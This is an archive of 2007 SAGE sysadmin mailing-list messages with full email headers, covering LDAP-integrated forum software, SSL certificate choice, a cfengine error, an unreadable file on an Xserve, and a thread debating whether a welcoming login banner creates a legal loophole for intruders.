	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 07:05:25 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PF5Oua024270
	for sage-members-0utGoign; Thu, 25 Jan 2007 07:05:24 -0800 (PST)
Received: from jas.peak.org (jas.peak.org [69.59.196.137])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PF53Rp024257
	(version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 07:05:14 -0800 (PST)
Received: from sechrest (helo=jas.peak.org)
	by jas.peak.org with local-esmtp (Exim 4.44)
	id 1HA5ih-0002eL-PO; Thu, 25 Jan 2007 06:36:55 -0800
To: David Blank-Edelman <dnb@ccs.neu.edu>
Cc: SAGE Members <sage-members@usenix.org>
Subject: Re: [SAGE] suggestions for web forum software w/LDAP intergration? 
In-reply-to: Your message of Thu, 25 Jan 2007 00:02:39 EST.
	<F5F441F8-4A93-498B-B832-C6C97FD9A75C@ccs.neu.edu> 
Date: Thu, 25 Jan 2007 06:36:55 -0800
From: John Sechrest <sechrest@jas.peak.org>
Message-Id: <E1HA5ih-0002eL-PO@jas.peak.org>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: sechrest@jas.peak.org
X-SA-Exim-Scanned: No (on jas.peak.org); SAEximRunCond expanded to false
X-DCC--Metrics: voyager 1356; Body=0 Fuz1=0 Fuz2=0
Sender: owner-sage-members@usenix.org
Precedence: bulk



Drupal (http://www.drupal.org) supports Ldap integration and supports
forums. And supports organic groups, that allows you to bind who can 
access what resource in the system. 

It is a toolkit that could solve this problem with the right choice 
of modules.



David Blank-Edelman <dnb@ccs.neu.edu> writes:

 % Howdy-
 %    After being soured by one commercial offering (vBulletin), I'm on  
 % the hunt for a web forum package which integrates with LDAP. By  
 % "integrates," I mean I'd like to:
 % 
 % 1) authenticate users off of an existing LDAP server (vs. using a  
 % separate account system)
 % 2) authorize users (e.g. who can see a particular forum, list of  
 % moderators, etc) from existing LDAP groups
 % 
 % I'm looking at the package by Jive Software but I'm not certain I can/ 
 % want to pay their fairly substantial prices. I haven't found much  
 % else that plays in this space.
 % 
 % Any other suggestions? Thanks.
 % 
 %       -- dNb
 %   
 % 

-----
John Sechrest          .         Helping people use
                        .           computers and the Internet
                          .            more effectively
                             .                      
                                 .       Internet: sechrest@peak.org
                                      .   
                                              . http://www.peak.org/~sechrest


From sage-members-owner@usenix.org Thu Jan 25 08:00:02 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PG00tv026337
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 08:00:00 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PG00o0026336
	for sage-members-0utGoign; Thu, 25 Jan 2007 08:00:00 -0800 (PST)
Received: from py-out-1112.google.com (py-out-1112.google.com [64.233.166.182])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PFxXm6026301
	for <sage-members@sage.org>; Thu, 25 Jan 2007 07:59:43 -0800 (PST)
Received: by py-out-1112.google.com with SMTP id z74so268094pyg
	for <sage-members@sage.org>; Thu, 25 Jan 2007 07:59:22 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:from:reply-to:to:subject:date:user-agent:references:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:message-id;
	b=Bs7lAziGHBa/lGSHT0qB6JJX91+mBioYholfEn7b9WD0+7xfeBMUcol4aoTg3a9AfDyuCyWUeHLalqlVH13ERGIoNlvuTTdP64jeeioIyHtnTeSqmz+mwxsRQAEkIf2A5pYtx/jSRV6OeCm3/jenF4B6uTq4wzs+F0z9dzzPHRw=
Received: by 10.35.103.12 with SMTP id f12mr2795366pym.1169740761901;
	Thu, 25 Jan 2007 07:59:21 -0800 (PST)
Received: from scm.panduit.com ( [205.219.204.80])
	by mx.google.com with ESMTP id w38sm2204076pyg.2007.01.25.07.59.20;
	Thu, 25 Jan 2007 07:59:20 -0800 (PST)
From: Netfortius <netfortius@gmail.com>
Reply-To: netfortius@gmail.com
To: sage-members@sage.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Date: Thu, 25 Jan 2007 09:59:53 -0600
User-Agent: KMail/1.9.5
References: <20070119170207.GH20885@hollenback.net>
In-Reply-To: <20070119170207.GH20885@hollenback.net>
MIME-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Message-Id: <200701250959.53448.netfortius@gmail.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Friday 19 January 2007 11:02, Philip J. Hollenback wrote:
<snip>
> 1. Is there any reason to not use these certificates?  This is for
>    internal use at my company only, not for outward-facing websites.
<snip>

While browser-based SSL certs handling may end up being - perhaps - a pure 
convenience issue (i.e. "clicking" through some additional acceptance 
dialogues), at a client of mine we have run into some other problems, which 
forced us to stay with the more reputable sites: Java-based apps running over 
SSL, whose embedded (hard-coded) certs list made it impossible to go with the 
GoDaddy's of the world. One such example is the Jinitiator from Oracle. I 
have not checked recently, but last year, with the Oracle apps version they 
were running, they could not use cheapos for SSL certs.

My $0.02 on the subject,
Stefan


From sage-members-owner@usenix.org Thu Jan 25 10:13:05 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PID4aM002170
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 10:13:05 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PID4KR002169
	for sage-members-0utGoign; Thu, 25 Jan 2007 10:13:04 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PICaDD002134
	for <sage-members@sage.org>; Thu, 25 Jan 2007 10:12:47 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id 7C15E3ADDE; Thu, 25 Jan 2007 13:12:16 -0500 (EST)
Date: Thu, 25 Jan 2007 13:12:16 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@sage.org
Subject: [SAGE] Cfengine error with cfagent
Message-ID: <20070125181216.GB3589@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

[nhwatson@webdb02 nhwatson]$ /usr/local/sbin/cfagent
: Couldn't get interfaces - old kernel? Try setting CF_IFREQ to 1024
: ioctl: Cannot allocate memory


This is a Red Hat AS3. The same binary works on my other AS3 systems.
The only change I can think of are some kernel parameters that were
changed for DB2 (from sysctl.conf):

kernel.msgmni = 1024
kernel.sem = 250     256000   32      1024

Has anyone experienced this or know what the cause might be?

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime 12 days
http://watson-wilson.ca


From sage-members-owner@usenix.org Thu Jan 25 11:59:01 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PJx04s006530
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 11:59:00 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PJx0UE006529
	for sage-members-0utGoign; Thu, 25 Jan 2007 11:59:00 -0800 (PST)
Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.236])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PJwXnt006493
	for <sage-members@sage.org>; Thu, 25 Jan 2007 11:58:44 -0800 (PST)
Received: by nz-out-0506.google.com with SMTP id z31so308077nzd
	for <sage-members@sage.org>; Thu, 25 Jan 2007 11:58:31 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=XI8fjXZMwM+kWey4tX3zCNJc8FXM6nLEuH/pZUOMf3im5QkEEsrE2zYOIbkruzTmoGgZijAt91xnU3gdTz71z/VenwkgKibBKH+8yOPTajoSCSLda7HdHGhNfPZqaRz2rqJAetcbwl6MRW8iBkHON83l6GbmF1o5MY4IbX7+6oQ=
Received: by 10.65.154.4 with SMTP id g4mr3713381qbo.1169754723406;
	Thu, 25 Jan 2007 11:52:03 -0800 (PST)
Received: by 10.64.148.11 with HTTP; Thu, 25 Jan 2007 11:52:03 -0800 (PST)
Message-ID: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
Date: Thu, 25 Jan 2007 11:52:03 -0800
From: "Jason Dusek" <jason.dusek@gmail.com>
To: sage-members@sage.org
Subject: [SAGE] MOTD & Legal Issues
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hi All,

I'm curious about legal issues surrounding the Message of The Day on
UNIX/Linux servers. I can remember reading somewhere that an inviting
MOTD creates a legal loophole for intruders -- if they log in with
stolen credentials and the machine says "Welcome!", then they may take
that as permission to go about their dirty business.

-- 
_jsn


From sage-members-owner@usenix.org Thu Jan 25 12:08:49 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PK8m3r007206
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:08:49 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PK8mGu007205
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:08:48 -0800 (PST)
Received: from mail.eecs.harvard.edu (bowser.eecs.harvard.edu [140.247.60.24])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PK8NmQ007186
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:08:34 -0800 (PST)
Received: by mail.eecs.harvard.edu (Postfix, from userid 32284)
	id 313731A3D55; Thu, 25 Jan 2007 15:08:23 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by mail.eecs.harvard.edu (Postfix) with ESMTP id 2F0941A3D48;
	Thu, 25 Jan 2007 12:08:23 -0800 (PST)
Date: Thu, 25 Jan 2007 12:08:23 -0800 (PST)
From: Trey Harris <trey@lopsa.org>
To: Jason Dusek <jason.dusek@gmail.com>
cc: sage-members@sage.org
Subject: Re: [SAGE] MOTD & Legal Issues
In-Reply-To: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
Message-ID: <20070125120259.G5913@bowser.eecs.harvard.edu>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=8%
Sender: owner-sage-members@usenix.org
Precedence: bulk

In a message dated Thu, 25 Jan 2007, Jason Dusek writes:
> I'm curious about legal issues surrounding the Message of The Day on
> UNIX/Linux servers. I can remember reading somewhere that an inviting
> MOTD creates a legal loophole for intruders -- if they log in with
> stolen credentials and the machine says "Welcome!", then they may take
> that as permission to go about their dirty business.

Sounds like legal FUD to me.  A welcome mat placed in front of a home is 
not a defense for trespassing, even when the door is unlocked.

For awhile there were lawyer-types telling us that MOTD's should repeat 
terms of service and privacy policies, but I think that's just if you want 
to be really conservative (the same types of orgs that feel the need to 
stick a 20-line legal disclaimer at the end of ever email sent through 
their systems).

Failure to explicitly reserve your rights rarely results in automatic 
waiver of those rights--and certainly not your right to remain criminally 
unmolested.  Otherwise, we'd all have to wear a sign saying "don't mug me" 
whenever we went out on the sidewalk.

Trey


From sage-members-owner@usenix.org Thu Jan 25 12:10:10 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKA9LN007498
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:10:09 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKA9GC007495
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:10:09 -0800 (PST)
Received: from [131.106.3.31] (tripp.usenix.org [131.106.3.31])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKA4FH007457
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:10:04 -0800 (PST)
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Transfer-Encoding: 7bit
Message-Id: <B617BA5A-6B1B-451D-BB89-CF143FFE16C2@usenix.org>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
To: sage-members@sage.org
From: Tony Del Porto <tony@usenix.org>
Subject: [SAGE] when root can't read a file
Date: Thu, 25 Jan 2007 12:09:56 -0800
X-Mailer: Apple Mail (2.752.2)
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hey Folks,

I have an Xserve (OS 10.4) with a shared volume (Fiber attached  
Xserve RAID). One of my users created a file that cannot be read. The  
error given is "Permission denied". I have permission as a regular  
user to read the file and can't, nor can "root". The owner of the  
file can't read the file.


[enterprise-2006]$ ls -le LISA\ 06\ Post\ Conf\ Report.doc
-rw-rw-r-- + 1 devon staff 30720 Jan 23 11:46 LISA 06 Post Conf  
Report.doc
0: user:ops inherited allow  
read,write,execute,delete,append,readattr,writeattr,readextattr,writeext 
attr,readsecurity,writesecurity,chown
[enterprise-2006]$ groups
staff fmsadmin wwwdata publications admin office
[enterprise-2006]$ head -1 LISA\ 06\ Post\ Conf\ Report.doc
head: LISA 06 Post Conf Report.doc: Permission denied
[enterprise-2006]$ sudo head -1 LISA\ 06\ Post\ Conf\ Report.doc
Password:
head: LISA 06 Post Conf Report.doc: Permission denied


I can read other files in the directory with identical permissions  
without issue.

Ideas?

Thanks!


From sage-members-owner@usenix.org Thu Jan 25 12:20:29 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKKKXx008263
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:20:26 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKKKbh008262
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:20:20 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKK9R6008251
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 12:20:15 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKK9pe008250
	for sage-members@usenix.org; Thu, 25 Jan 2007 12:20:09 -0800 (PST)
Received: from haus.nakedape.cc (haus.nakedape.cc [63.105.18.11])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PK8qHd007197
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:09:03 -0800 (PST)
Received: from localhost (vidar.nakedape.cc [192.168.1.11])
	by localhost.nakedape.priv (Naked Ape Mail Server) with ESMTP id
	4AA863A12E
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:08:43 -0800 (PST)
X-Virus-Scanned: by Naked Ape Mail Defender <http://naked-ape.com/r/md> at
	nakedape.cc
Received: from haus.nakedape.cc ([192.168.1.1])
	by localhost (vidar.nakedape.cc [192.168.1.11]) (amavisd-new,
	port 10024) with LMTP id Yrgpkl4ffhfM for <sage-members@sage.org>;
	Thu, 25 Jan 2007 12:08:40 -0800 (PST)
Received: from [192.168.110.10] (ods-fw-pat-qw.odshp.com [65.124.255.195])
	(using SSLv3 with cipher RC4-MD5 (128/128 bits))
	(No client certificate requested)
	by haus.nakedape.cc (Naked Ape Mail Server) with ESMTP id 14F4F39C81
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:08:40 -0800 (PST)
Subject: Re: [SAGE] MOTD & Legal Issues
From: Wil Cooley <wcooley@nakedape.cc>
Reply-To: sage-members@sage.org
To: SAGE Members <sage-members@sage.org>
In-Reply-To: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="=-tjyo7yNcOw7kQD92zku3"
Organization: http://nakedape.cc
Date: Thu, 25 Jan 2007 12:08:39 -0800
Message-Id: <1169755719.26274.48.camel@willow.odshp.com>
Mime-Version: 1.0
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


--=-tjyo7yNcOw7kQD92zku3
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Thu, 2007-01-25 at 11:52 -0800, Jason Dusek wrote:

> I'm curious about legal issues surrounding the Message of The Day on
> UNIX/Linux servers. I can remember reading somewhere that an inviting
> MOTD creates a legal loophole for intruders -- if they log in with
> stolen credentials and the machine says "Welcome!", then they may take
> that as permission to go about their dirty business.

I, too, have heard that, but my suspicion is that it's a folktale told
to scare executives.  Have there ever been any actual cases of that
happening?  The closest analogy (which doesn't always inform law, nor is
it necessarily convincing) would be a burglar arguing that a "Welcome"
mat was an invitation to breaking and entering.

Wil
--=20
Wil Cooley <wcooley@nakedape.cc>
http://nakedape.cc

--=-tjyo7yNcOw7kQD92zku3
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQBFuQ5HJpn3uYWUEaoRAlzIAJ9H9MzquiuHD++HzzRx/lrqUyfEBwCeP8ui
f9k91j5i9xheyHcWDVZFiy0=
=mtiV
-----END PGP SIGNATURE-----

--=-tjyo7yNcOw7kQD92zku3--


From sage-members-owner@usenix.org Thu Jan 25 12:22:07 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKM5LI008561
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:22:06 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKM5ZJ008560
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:22:05 -0800 (PST)
Received: from bache.ece.cmu.edu (BACHE.ECE.CMU.EDU [128.2.129.23])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKLdLM008440
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:21:49 -0800 (PST)
Received: by bache.ece.cmu.edu (Postfix, from userid 953)
	id E780270; Thu, 25 Jan 2007 15:21:38 -0500 (EST)
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-25) on filt2.ece.cmu.edu
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=6.0 tests=BAYES_50 autolearn=no 
	version=3.1.4
Received: from [128.2.136.137] (SKKUKUK.ECE.CMU.EDU [128.2.136.137])
	by bache.ece.cmu.edu (Postfix) with ESMTP id 727C16B;
	Thu, 25 Jan 2007 15:21:38 -0500 (EST)
In-Reply-To: <B617BA5A-6B1B-451D-BB89-CF143FFE16C2@usenix.org>
References: <B617BA5A-6B1B-451D-BB89-CF143FFE16C2@usenix.org>
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <CC65829E-F197-4166-BF6E-1C85A910C9D9@ece.cmu.edu>
Cc: SAGE Members <sage-members@sage.org>
Content-Transfer-Encoding: 7bit
From: "Brandon S. Allbery KF8NH" <allbery@ece.cmu.edu>
Subject: Re: [SAGE] when root can't read a file
Date: Thu, 25 Jan 2007 15:21:37 -0500
To: Tony Del Porto <tony@usenix.org>
X-Mailer: Apple Mail (2.752.2)
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Jan 25, 2007, at 3:09 PM, Tony Del Porto wrote:

> I have an Xserve (OS 10.4) with a shared volume (Fiber attached  
> Xserve RAID). One of my users created a file that cannot be read.  
> The error given is "Permission denied". I have permission as a  
> regular user to read the file and can't, nor can "root". The owner  
> of the file can't read the file.

Last time I saw this kind of thing, the filesystem turned out to be  
corrupt.

-- 
brandon s. allbery     [linux,solaris,freebsd,perl]       
allbery@kf8nh.com
system administrator  [openafs,heimdal,too many hats]   
allbery@ece.cmu.edu
electrical and computer engineering, carnegie mellon university       
KF8NH




From sage-members-owner@usenix.org Thu Jan 25 12:31:58 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKVvSi009375
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:31:57 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKVvjU009374
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:31:57 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKVtdO009367
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 12:31:55 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKVtEY009366
	for sage-members@usenix.org; Thu, 25 Jan 2007 12:31:55 -0800 (PST)
Received: from mail.eecs.tufts.edu (pmx.EECS.Tufts.EDU [130.64.23.79])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKTwqk009256
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:30:09 -0800 (PST)
Received: from mail.eecs.tufts.edu (localhost [127.0.0.1])
	by localhost.eecs.tufts.edu (Postfix) with SMTP id 6D62A20A4D
	for <sage-members@sage.org>; Thu, 25 Jan 2007 15:29:56 -0500 (EST)
Received: from smtp-tls.eecs.tufts.edu (ns1.EECS.Tufts.EDU [130.64.23.14])
	by mail.eecs.tufts.edu (Postfix) with ESMTP id 1C9E8209A6
	for <sage-members@sage.org>; Thu, 25 Jan 2007 15:29:56 -0500 (EST)
Received: from [130.64.21.4] (arwen2.EECS.Tufts.EDU [130.64.21.4])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp-tls.eecs.tufts.edu (Postfix) with ESMTP id 08D591C830
	for <sage-members@sage.org>; Thu, 25 Jan 2007 15:29:55 -0500 (EST)
Message-ID: <45B91343.3040006@direwolf.com>
Date: Thu, 25 Jan 2007 15:29:55 -0500
From: John Orthoefer <jco@direwolf.com>
User-Agent: Thunderbird 1.5 (X11/20051201)
MIME-Version: 1.0
To: sage-members@sage.org
Subject: Re: [SAGE] MOTD & Legal Issues
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
In-Reply-To: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-PMX-Version: 5.2.1.279297, Antispam-Engine: 2.5.0.283055,
	Antispam-Data: 2007.1.25.121933
X-PerlMx-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0,
	__CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0,
	__MIME_VERSION 0, __SANE_MSGID 0, __USER_AGENT 0'
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=73%
Sender: owner-sage-members@usenix.org
Precedence: bulk

As far as I know that defense, the MOTD said "welcome" so I broke into 
the system, ever working was only an Urban Myth.      Or atleast a 
caught script-kiddie with a great attorney and a company with a really 
bad trial attorney. 

I'm not a lawyer  nor do I play one on TV.   You should always seek 
legal advice from licensed professional.   But I've heard the same 
stories, and never given them much weight.  And until someone can show 
me the legal ruling that uses that as a basis I'm going to continue to 
discount it.

johno


From sage-members-owner@usenix.org Thu Jan 25 12:33:07 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKWa6G009502
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 12:32:37 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PKWaG0009499
	for sage-members-0utGoign; Thu, 25 Jan 2007 12:32:36 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PKVmtV009359
	for <sage-members@sage.org>; Thu, 25 Jan 2007 12:31:59 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id DC29E15B58D;
	Thu, 25 Jan 2007 15:31:44 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 29969-02; Thu, 25 Jan 2007 15:31:36 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id F09D515B580;
	Thu, 25 Jan 2007 15:31:35 -0500 (EST)
Received: from [10.0.1.12] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l0PKVTK0061385;
	Thu, 25 Jan 2007 15:31:31 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240501c1dec1b20ff5@[10.0.1.12]>
In-Reply-To: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
Date: Thu, 25 Jan 2007 14:31:19 -0600
To: "Jason Dusek" <jason.dusek@gmail.com>, sage-members@sage.org
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] MOTD & Legal Issues
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.34 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.059, BAYES_00=-2.599]
X-Spam-Score: -4.34
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 11:52 AM -0800 1/25/07, Jason Dusek wrote:

>  I'm curious about legal issues surrounding the Message of The Day on
>  UNIX/Linux servers. I can remember reading somewhere that an inviting
>  MOTD creates a legal loophole for intruders -- if they log in with
>  stolen credentials and the machine says "Welcome!", then they may take
>  that as permission to go about their dirty business.

Hmm.  You know, I thought that the issue of needing to create a 
security login banner had been debunked pretty thoroughly -- you 
could have them if you want to, but they don't really provide you any 
real protection, and sometimes they expose information that could 
help a prospective attacker identify important information that would 
assist them in breaking into the system.

But in doing some looking around, I am not easily finding the pages I 
thought I would.  Instead, I find things like RFC 2196 "Site Security 
Handbook" (see <http://www.faqs.org/rfcs/rfc2196.html>), section 
4.5.4.5, which says:

| 4.5.4.5  Choose Your Opening Banner Carefully
|
|    Many sites use a system default contained in a message of the
|    day file for their opening banner. Unfortunately, this often
|    includes the type of host hardware or operating system present
|    on the host.  This can provide valuable information to a would-be
|    intruder. Instead, each site should create its own specific login
|    banner, taking care to only include necessary information.
|
|    Display a short banner, but don't offer an "inviting" name (e.g.,
|    University of XYZ, Student Records System).  Instead, give your
|    site name, a short warning that sessions may be monitored, and
|    a username/password prompt.  Verify possible legal issues related
|    to the text you put into the banner.
|
